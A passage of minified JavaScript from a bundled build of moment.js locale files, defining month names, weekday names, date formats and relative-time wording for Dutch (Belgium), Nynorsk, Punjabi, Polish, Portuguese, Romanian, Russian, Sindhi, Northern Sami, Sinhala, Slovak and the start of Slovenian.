/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; - var a = e.defineLocale("nl-be", { - months: "januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i, - monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"), - weekdaysShort: "zo._ma._di._wo._do._vr._za.".split("_"), - weekdaysMin: "zo_ma_di_wo_do_vr_za".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[vandaag om] LT", - nextDay: "[morgen om] LT", - nextWeek: "dddd [om] LT", - lastDay: "[gisteren om] LT", - lastWeek: "[afgelopen] dddd [om] LT", - sameElse: "L" - }, - relativeTime: { - future: "over %s", - past: "%s geleden", - s: "een paar seconden", - ss: "%d seconden", - m: "één minuut", - mm: "%d minuten", - h: "één uur", - hh: "%d uur", - d: "één dag", - dd: "%d dagen", - M: "één maand", - MM: "%d maanden", - y: "één jaar", - yy: "%d jaar" - }, - dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, - ordinal: function (e) { - return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") - }, - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("nn", { - months: "januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"), - monthsShort: "jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"), - weekdays: "sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"), - weekdaysShort: "sun_mån_tys_ons_tor_fre_lau".split("_"), - weekdaysMin: "su_må_ty_on_to_fr_lø".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY [kl.] H:mm", - LLLL: "dddd D. MMMM YYYY [kl.] HH:mm" - }, - calendar: { - sameDay: "[I dag klokka] LT", - nextDay: "[I morgon klokka] LT", - nextWeek: "dddd [klokka] LT", - lastDay: "[I går klokka] LT", - lastWeek: "[Føregåande] dddd [klokka] LT", - sameElse: "L" - }, - relativeTime: { - future: "om %s", - past: "%s sidan", - s: "nokre sekund", - ss: "%d sekund", - m: "eit minutt", - mm: "%d minutt", - h: "ein time", - hh: "%d timar", - d: "ein dag", - dd: "%d dagar", - M: "ein månad", - MM: "%d månader", - y: "eit år", - yy: "%d år" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "੧", - 2: "੨", - 3: "੩", - 4: "੪", - 5: "੫", - 6: "੬", - 7: "੭", - 8: "੮", - 9: "੯", - 0: "੦" - }, - i = { - "੧": "1", - "੨": "2", - "੩": "3", - "੪": "4", - "੫": "5", - "੬": "6", - "੭": "7", - "੮": "8", - "੯": "9", - "੦": "0" - }; - var n = e.defineLocale("pa-in", { - months: "ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"), - monthsShort: "ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"), - weekdays: "ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"), - weekdaysShort: "ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"), - weekdaysMin: "ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"), - longDateFormat: { - LT: "A h:mm ਵਜੇ", - LTS: "A h:mm:ss ਵਜੇ", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm ਵਜੇ", - LLLL: "dddd, D MMMM YYYY, A h:mm ਵਜੇ" - }, - calendar: { - sameDay: "[ਅਜ] LT", - nextDay: "[ਕਲ] LT", - nextWeek: "[ਅਗਲਾ] dddd, LT", - lastDay: "[ਕਲ] LT", - lastWeek: "[ਪਿਛਲੇ] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s ਵਿੱਚ", - past: "%s ਪਿਛਲੇ", - s: "ਕੁਝ ਸਕਿੰਟ", - ss: "%d ਸਕਿੰਟ", - m: "ਇਕ ਮਿੰਟ", - mm: "%d ਮਿੰਟ", - h: "ਇੱਕ ਘੰਟਾ", - hh: "%d ਘੰਟੇ", - d: "ਇੱਕ ਦਿਨ", - dd: "%d ਦਿਨ", - M: "ਇੱਕ ਮਹੀਨਾ", - MM: "%d ਮਹੀਨੇ", - y: "ਇੱਕ ਸਾਲ", - yy: "%d ਸਾਲ" - }, - preparse: function (e) { - return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "ਰਾਤ") { - return e < 4 ? e : e + 12 - } else if (t === "ਸਵੇਰ") { - return e - } else if (t === "ਦੁਪਹਿਰ") { - return e >= 10 ? e : e + 12 - } else if (t === "ਸ਼ਾਮ") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "ਰਾਤ" - } else if (e < 10) { - return "ਸਵੇਰ" - } else if (e < 17) { - return "ਦੁਪਹਿਰ" - } else if (e < 20) { - return "ਸ਼ਾਮ" - } else { - return "ਰਾਤ" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"), - i = "stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"); - - function n(e) { - return e % 10 < 5 && e % 10 > 1 && ~~(e / 10) % 10 !== 1 - } - - function r(e, t, i) { - var r = e + " "; - switch (i) { - case "ss": - return r + (n(e) ? "sekundy" : "sekund"); - case "m": - return t ? "minuta" : "minutę"; - case "mm": - return r + (n(e) ? "minuty" : "minut"); - case "h": - return t ? "godzina" : "godzinę"; - case "hh": - return r + (n(e) ? "godziny" : "godzin"); - case "MM": - return r + (n(e) ? "miesiące" : "miesięcy"); - case "yy": - return r + (n(e) ? "lata" : "lat") - } - } - var a = e.defineLocale("pl", { - months: function (e, n) { - if (!e) { - return t - } else if (n === "") { - return "(" + i[e.month()] + "|" + t[e.month()] + ")" - } else if (/D MMMM/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsShort: "sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"), - weekdays: "niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"), - weekdaysShort: "ndz_pon_wt_śr_czw_pt_sob".split("_"), - weekdaysMin: "Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Dziś o] LT", - nextDay: "[Jutro o] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[W niedzielę o] LT"; - case 2: - return "[We wtorek o] LT"; - case 3: - return "[W środę o] LT"; - case 6: - return "[W sobotę o] LT"; - default: - return "[W] dddd [o] LT" - } - }, - lastDay: "[Wczoraj o] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[W zeszłą niedzielę o] LT"; - case 3: - return "[W zeszłą środę o] LT"; - case 6: - return "[W zeszłą sobotę o] LT"; - default: - return "[W zeszły] dddd [o] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "%s temu", - s: "kilka sekund", - ss: r, - m: r, - mm: r, - h: r, - hh: r, - d: "1 dzień", - dd: "%d dni", - M: "miesiąc", - MM: r, - y: "rok", - yy: r - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("pt", { - months: "Janeiro_Fevereiro_Março_Abril_Maio_Junho_Julho_Agosto_Setembro_Outubro_Novembro_Dezembro".split("_"), - monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), - weekdays: "Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"), - weekdaysShort: "Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"), - weekdaysMin: "Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY HH:mm", - LLLL: "dddd, D [de] MMMM [de] YYYY HH:mm" - }, - calendar: { - sameDay: "[Hoje às] LT", - nextDay: "[Amanhã às] LT", - nextWeek: "dddd [às] LT", - lastDay: "[Ontem às] LT", - lastWeek: function () { - return this.day() === 0 || this.day() === 6 ? "[Último] dddd [às] LT" : "[Última] dddd [às] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "em %s", - past: "há %s", - s: "segundos", - ss: "%d segundos", - m: "um minuto", - mm: "%d minutos", - h: "uma hora", - hh: "%d horas", - d: "um dia", - dd: "%d dias", - M: "um mês", - MM: "%d meses", - y: "um ano", - yy: "%d anos" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("pt-br", { - months: "Janeiro_Fevereiro_Março_Abril_Maio_Junho_Julho_Agosto_Setembro_Outubro_Novembro_Dezembro".split("_"), - monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), - weekdays: "Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"), - weekdaysShort: "Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"), - weekdaysMin: "Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D [de] MMMM [de] YYYY", - LLL: "D [de] MMMM [de] YYYY [às] HH:mm", - LLLL: "dddd, D [de] MMMM [de] YYYY [às] HH:mm" - }, - calendar: { - sameDay: "[Hoje às] LT", - nextDay: "[Amanhã às] LT", - nextWeek: "dddd [às] LT", - lastDay: "[Ontem às] LT", - lastWeek: function () { - return this.day() === 0 || this.day() === 6 ? "[Último] dddd [às] LT" : "[Última] dddd [às] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "em %s", - past: "há %s", - s: "poucos segundos", - ss: "%d segundos", - m: "um minuto", - mm: "%d minutos", - h: "uma hora", - hh: "%d horas", - d: "um dia", - dd: "%d dias", - M: "um mês", - MM: "%d meses", - y: "um ano", - yy: "%d anos" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº" - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i) { - var n = { - ss: "secunde", - mm: "minute", - hh: "ore", - dd: "zile", - MM: "luni", - yy: "ani" - }, - r = " "; - if (e % 100 >= 20 || e >= 100 && e % 100 === 0) { - r = " de " - } - return e + r + n[i] - } - var i = e.defineLocale("ro", { - months: "ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"), - monthsShort: "ian._febr._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"), - weekdaysShort: "Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"), - weekdaysMin: "Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY H:mm", - LLLL: "dddd, D MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[azi la] LT", - nextDay: "[mâine la] LT", - nextWeek: "dddd [la] LT", - lastDay: "[ieri la] LT", - lastWeek: "[fosta] dddd [la] LT", - sameElse: "L" - }, - relativeTime: { - future: "peste %s", - past: "%s în urmă", - s: "câteva secunde", - ss: t, - m: "un minut", - mm: t, - h: "o oră", - hh: t, - d: "o zi", - dd: t, - M: "o lună", - MM: t, - y: "un an", - yy: t - }, - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t) { - var i = e.split("_"); - return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] - } - - function i(e, i, n) { - var r = { - ss: i ? "секунда_секунды_секунд" : "секунду_секунды_секунд", - mm: i ? "минута_минуты_минут" : "минуту_минуты_минут", - hh: "час_часа_часов", - dd: "день_дня_дней", - MM: "месяц_месяца_месяцев", - yy: "год_года_лет" - }; - if (n === "m") { - return i ? "минута" : "минуту" - } else { - return e + " " + t(r[n], +e) - } - } - var n = [/^янв/i, /^фев/i, /^мар/i, /^апр/i, /^ма[йя]/i, /^июн/i, /^июл/i, /^авг/i, /^сен/i, /^окт/i, /^ноя/i, /^дек/i]; - var r = e.defineLocale("ru", { - months: { - format: "января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"), - standalone: "январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_") - }, - monthsShort: { - format: "янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"), - standalone: "янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_") - }, - weekdays: { - standalone: "воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"), - format: "воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"), - isFormat: /\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/ - }, - weekdaysShort: "вс_пн_вт_ср_чт_пт_сб".split("_"), - weekdaysMin: "вс_пн_вт_ср_чт_пт_сб".split("_"), - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - monthsRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, - monthsShortRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, - monthsStrictRegex: /^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i, - monthsShortStrictRegex: /^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY г.", - LLL: "D MMMM YYYY г., H:mm", - LLLL: "dddd, D MMMM YYYY г., H:mm" - }, - calendar: { - sameDay: "[Сегодня, в] LT", - nextDay: "[Завтра, в] LT", - lastDay: "[Вчера, в] LT", - nextWeek: function (e) { - if (e.week() !== this.week()) { - switch (this.day()) { - case 0: - return "[В следующее] dddd, [в] LT"; - case 1: - case 2: - case 4: - return "[В следующий] dddd, [в] LT"; - case 3: - case 5: - case 6: - return "[В следующую] dddd, [в] LT" - } - } else { - if (this.day() === 2) { - return "[Во] dddd, [в] LT" - } else { - return "[В] dddd, [в] LT" - } - } - }, - lastWeek: function (e) { - if (e.week() !== this.week()) { - switch (this.day()) { - case 0: - return "[В прошлое] dddd, [в] LT"; - case 1: - case 2: - case 4: - return "[В прошлый] dddd, [в] LT"; - case 3: - case 5: - case 6: - return "[В прошлую] dddd, [в] LT" - } - } else { - if (this.day() === 2) { - return "[Во] dddd, [в] LT" - } else { - return "[В] dddd, [в] LT" - } - } - }, - sameElse: "L" - }, - relativeTime: { - future: "через %s", - past: "%s назад", - s: "несколько секунд", - ss: i, - m: i, - mm: i, - h: "час", - hh: i, - d: "день", - dd: i, - M: "месяц", - MM: i, - y: "год", - yy: i - }, - meridiemParse: /ночи|утра|дня|вечера/i, - isPM: function (e) { - return /^(дня|вечера)$/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "ночи" - } else if (e < 12) { - return "утра" - } else if (e < 17) { - return "дня" - } else { - return "вечера" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}-(й|го|я)/, - ordinal: function (e, t) { - switch (t) { - case "M": - case "d": - case "DDD": - return e + "-й"; - case "D": - return e + "-го"; - case "w": - case "W": - return e + "-я"; - default: - return e - } - }, - week: { - dow: 1, - doy: 4 - } - }); - return r - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = ["جنوري", "فيبروري", "مارچ", "اپريل", "مئي", "جون", "جولاءِ", "آگسٽ", "سيپٽمبر", "آڪٽوبر", "نومبر", "ڊسمبر"]; - var i = ["آچر", "سومر", "اڱارو", "اربع", "خميس", "جمع", "ڇنڇر"]; - var n = e.defineLocale("sd", { - months: t, - monthsShort: t, - weekdays: i, - weekdaysShort: i, - weekdaysMin: i, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd، D MMMM YYYY HH:mm" - }, - meridiemParse: /صبح|شام/, - isPM: function (e) { - return "شام" === e - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "صبح" - } - return "شام" - }, - calendar: { - sameDay: "[اڄ] LT", - nextDay: "[سڀاڻي] LT", - nextWeek: "dddd [اڳين هفتي تي] LT", - lastDay: "[ڪالهه] LT", - lastWeek: "[گزريل هفتي] dddd [تي] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s پوء", - past: "%s اڳ", - s: "چند سيڪنڊ", - ss: "%d سيڪنڊ", - m: "هڪ منٽ", - mm: "%d منٽ", - h: "هڪ ڪلاڪ", - hh: "%d ڪلاڪ", - d: "هڪ ڏينهن", - dd: "%d ڏينهن", - M: "هڪ مهينو", - MM: "%d مهينا", - y: "هڪ سال", - yy: "%d سال" - }, - preparse: function (e) { - return e.replace(/،/g, ",") - }, - postformat: function (e) { - return e.replace(/,/g, "،") - }, - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("se", { - months: "ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"), - monthsShort: "ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"), - weekdays: "sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"), - weekdaysShort: "sotn_vuos_maŋ_gask_duor_bear_láv".split("_"), - weekdaysMin: "s_v_m_g_d_b_L".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "MMMM D. [b.] YYYY", - LLL: "MMMM D. [b.] YYYY [ti.] HH:mm", - LLLL: "dddd, MMMM D. [b.] YYYY [ti.] HH:mm" - }, - calendar: { - sameDay: "[otne ti] LT", - nextDay: "[ihttin ti] LT", - nextWeek: "dddd [ti] LT", - lastDay: "[ikte ti] LT", - lastWeek: "[ovddit] dddd [ti] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s geažes", - past: "maŋit %s", - s: "moadde sekunddat", - ss: "%d sekunddat", - m: "okta minuhta", - mm: "%d minuhtat", - h: "okta diimmu", - hh: "%d diimmut", - d: "okta beaivi", - dd: "%d beaivvit", - M: "okta mánnu", - MM: "%d mánut", - y: "okta jahki", - yy: "%d jagit" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("si", { - months: "ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"), - monthsShort: "ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"), - weekdays: "ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"), - weekdaysShort: "ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"), - weekdaysMin: "ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "a h:mm", - LTS: "a h:mm:ss", - L: "YYYY/MM/DD", - LL: "YYYY MMMM D", - LLL: "YYYY MMMM D, a h:mm", - LLLL: "YYYY MMMM D [වැනි] dddd, a h:mm:ss" - }, - calendar: { - sameDay: "[අද] LT[ට]", - nextDay: "[හෙට] LT[ට]", - nextWeek: "dddd LT[ට]", - lastDay: "[ඊයේ] LT[ට]", - lastWeek: "[පසුගිය] dddd LT[ට]", - sameElse: "L" - }, - relativeTime: { - future: "%sකින්", - past: "%sකට පෙර", - s: "තත්පර කිහිපය", - ss: "තත්පර %d", - m: "මිනිත්තුව", - mm: "මිනිත්තු %d", - h: "පැය", - hh: "පැය %d", - d: "දිනය", - dd: "දින %d", - M: "මාසය", - MM: "මාස %d", - y: "වසර", - yy: "වසර %d" - }, - dayOfMonthOrdinalParse: /\d{1,2} වැනි/, - ordinal: function (e) { - return e + " වැනි" - }, - meridiemParse: /පෙර වරු|පස් වරු|පෙ.ව|ප.ව./, - isPM: function (e) { - return e === "ප.ව." || e === "පස් වරු" - }, - meridiem: function (e, t, i) { - if (e > 11) { - return i ? "ප.ව." : "පස් වරු" - } else { - return i ? "පෙ.ව." : "පෙර වරු" - } - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"), - i = "jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_"); - - function n(e) { - return e > 1 && e < 5 - } - - function r(e, t, i, r) { - var a = e + " "; - switch (i) { - case "s": - return t || r ? "pár sekúnd" : "pár sekundami"; - case "ss": - if (t || r) { - return a + (n(e) ? "sekundy" : "sekúnd") - } else { - return a + "sekundami" - } - break; - case "m": - return t ? "minúta" : r ? "minútu" : "minútou"; - case "mm": - if (t || r) { - return a + (n(e) ? "minúty" : "minút") - } else { - return a + "minútami" - } - break; - case "h": - return t ? "hodina" : r ? "hodinu" : "hodinou"; - case "hh": - if (t || r) { - return a + (n(e) ? "hodiny" : "hodín") - } else { - return a + "hodinami" - } - break; - case "d": - return t || r ? "deň" : "dňom"; - case "dd": - if (t || r) { - return a + (n(e) ? "dni" : "dní") - } else { - return a + "dňami" - } - break; - case "M": - return t || r ? "mesiac" : "mesiacom"; - case "MM": - if (t || r) { - return a + (n(e) ? "mesiace" : "mesiacov") - } else { - return a + "mesiacmi" - } - break; - case "y": - return t || r ? "rok" : "rokom"; - case "yy": - if (t || r) { - return a + (n(e) ? "roky" : "rokov") - } else { - return a + "rokmi" - } - break - } - } - var a = e.defineLocale("sk", { - months: t, - monthsShort: i, - weekdays: "nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"), - weekdaysShort: "ne_po_ut_st_št_pi_so".split("_"), - weekdaysMin: "ne_po_ut_st_št_pi_so".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[dnes o] LT", - nextDay: "[zajtra o] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[v nedeľu o] LT"; - case 1: - case 2: - return "[v] dddd [o] LT"; - case 3: - return "[v stredu o] LT"; - case 4: - return "[vo štvrtok o] LT"; - case 5: - return "[v piatok o] LT"; - case 6: - return "[v sobotu o] LT" - } - }, - lastDay: "[včera o] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[minulú nedeľu o] LT"; - case 1: - case 2: - return "[minulý] dddd [o] LT"; - case 3: - return "[minulú stredu o] LT"; - case 4: - case 5: - return "[minulý] dddd [o] LT"; - case 6: - return "[minulú sobotu o] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "pred %s", - s: r, - ss: r, - m: r, - mm: r, - h: r, - hh: r, - d: r, - dd: r, - M: r, - MM: r, - y: r, - yy: r - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - var r = e + " "; - switch (i) { - case "s": - return t || n ? "nekaj sekund" : "nekaj sekundami"; - case "ss": - if (e === 1) { - r += t ? "sekundo" : "sekundi" - } else if (e === 2) { - r += t || n ? "sekundi" : "sekundah" - } else if (e < 5) { - r += t || n ? "sekunde" : "sekundah" - } else { - r += "sekund" - } - return r; - case "m": - return t ? "ena minuta" : "eno minuto"; - case "mm": - if (e === 1) { - r += t ? "minuta" : "minuto" - } else if (e === 2) { - r += t || n ? "minuti" : "minutama" - } else if (e < 5) { - r += t || n ? "minute" : "minutami" - } else { - r += t || n ? "minut" : "minutami" - } - return r; - case "h": - return t ? "ena ura" : "eno uro"; - case "hh": - if (e === 